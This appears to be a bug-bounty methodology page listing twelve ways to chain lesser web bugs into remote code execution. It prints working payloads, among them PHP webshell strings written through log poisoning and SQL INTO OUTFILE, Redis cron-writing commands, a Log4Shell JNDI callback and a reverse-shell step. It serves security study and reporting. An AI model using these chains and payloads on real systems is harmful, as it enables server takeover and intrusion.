RCE Chaining
Checklist
- List every lower severity bug you found; any of them can be a link.
- For each, ask what it gives you: a file write, a request, a read, an object.
- Look for an internal sink that trusts that primitive.
- Build the chain on paper before you fire it.
- Record each precondition so the report is reproducible.
RCE rarely stands alone. The highest severity reports string a few medium bugs into code execution. Below are real patterns. Each uses the format: input, precondition, step 1, step 2, result, impact.
1. SSRF to Redis to cron to RCE
- Input: a URL field that fetches server side.
- Precondition: Redis on localhost with no auth, and the web user owns a cron or writable webroot.
- Step 1: use
gopher://127.0.0.1:6379/to send Redis commands. - Step 2:
CONFIG SET dir /var/spool/cron,CONFIG SET dbfilename root, thenSETa key whose value is a cron line, thenSAVE. - Result: cron runs your command as the owning user.
- Impact: code execution, often as root if cron runs as root.
2. IDOR to deserialization to RCE
- Input: an object id you can change, plus an endpoint that reads a serialized blob.
- Precondition: the blob is a serialized object and the classpath has a gadget.
- Step 1: use the IDOR to reach another user’s serialized token or export.
- Step 2: replace it with a ysoserial or PHPGGC payload and submit.
- Result: the deserializer runs the gadget.
- Impact: code execution in the app process.
3. XSS to Electron to RCE
- Input: stored XSS in a web view rendered by an Electron desktop app.
- Precondition:
nodeIntegrationenabled or a weak preload bridge. - Step 1: land XSS in a field the desktop app renders.
- Step 2: call
require('child_process').exec(...)from the injected script. - Result: commands run on the victim desktop.
- Impact: client side RCE on every user who views the content.
4. LFI to log poisoning to RCE
- Input: an
includestyle parameter and a readable log file. - Precondition: the include executes PHP, and you can write to a log.
- Step 1: send a request with PHP in a logged field, for example
User-Agent: <?php system($_GET['c']); ?>. - Step 2: include the log file through the LFI and pass
&c=id. - Result: the included log runs your PHP.
- Impact: code execution as the web user.
5. Upload to .htaccess to RCE
- Input: a file upload that does not execute
.phpbut lets you control an upload directory. - Precondition: Apache with
AllowOverrideon, uploads served by Apache. - Step 1: upload an
.htaccessthat maps a new extension to the PHP handler, for exampleAddType application/x-httpd-php .evil. - Step 2: upload
shell.evilwith PHP inside. - Result: requesting
shell.evilruns PHP. - Impact: webshell.
6. SQLi to INTO OUTFILE to RCE
- Input: a SQL injection and a known webroot path.
- Precondition: MySQL
secure_file_privallows writing, DB user has FILE, webroot is writable. - Step 1:
UNION SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/s.php'. - Step 2: request
/s.php?0=id. - Result: the written file executes.
- Impact: webshell from a single injection.
7. Log4Shell to JNDI to RCE
- Input: any logged field.
- Precondition: a vulnerable Log4j version and outbound access to your server.
- Step 1: send
${jndi:ldap://YOURID.oast.fun/a}and confirm the lookup on interactsh. - Step 2: serve a malicious class or a deserialization gadget from your LDAP or RMI server.
- Result: the victim loads and runs your class.
- Impact: unauthenticated RCE.
8. XXE to expect wrapper to RCE
- Input: an XML parser that resolves external entities.
- Precondition: PHP with the
expectextension enabled. - Step 1: define
<!ENTITY x SYSTEM "expect://id">and reference it where the response reflects. - Step 2: swap
idfor a reverse shell command. - Result: the parser runs the command through
expect. - Impact: code execution. Where
expectis absent, chain XXE to SSRF and use an SSRF path above.
9. SSRF to FastCGI to RCE
- Input: an SSRF that can speak arbitrary bytes, for example through
gopher://. - Precondition: php-fpm listening on
127.0.0.1:9000. - Step 1: craft a FastCGI request that sets
PHP_VALUEwithauto_prepend_filepointing atphp://input. - Step 2: include PHP code in the body.
- Result: php-fpm runs your code.
- Impact: RCE behind a server that never exposed PHP directly.
10. SSRF to Docker socket to RCE
- Input: an SSRF that reaches
http://127.0.0.1/var/run/docker.sockor a TCP docker API. - Precondition: the Docker API is reachable and unauthenticated.
- Step 1: create a container with the host root mounted, for example bind
/:/host. - Step 2: exec a command in it that writes to the host, such as a cron or an SSH key.
- Result: you control the host, not just a container.
- Impact: host RCE as root.
11. Unrestricted upload to deserialization (phar)
- Input: a file upload plus a PHP file operation on an attacker named path.
- Precondition: a file function that accepts a
phar://path and a class with a useful__destruct. - Step 1: upload a polyglot phar (for example a valid image with phar metadata).
- Step 2: trigger a file op on
phar://uploads/img.jpg, which unserializes the phar metadata. - Result: a POP chain runs.
- Impact: RCE without any direct unserialize call.
12. Template injection through a secondary context
- Input: a value stored in one feature and rendered by a template in another.
- Precondition: stored input reaches a server side template later.
- Step 1: store
{{7*7}}style payloads in profile or settings fields. - Step 2: visit the page that renders them in a template context.
- Result: SSTI fires in a different place than the input.
- Impact: RCE, and it is easy to miss because source and sink are far apart.
Takeaway
When a single bug looks like a dead end, write down what primitive it gives you, then look for an internal sink that trusts that primitive. The chain, not the single bug, is where the severity is. Continue to Case studies for worked examples.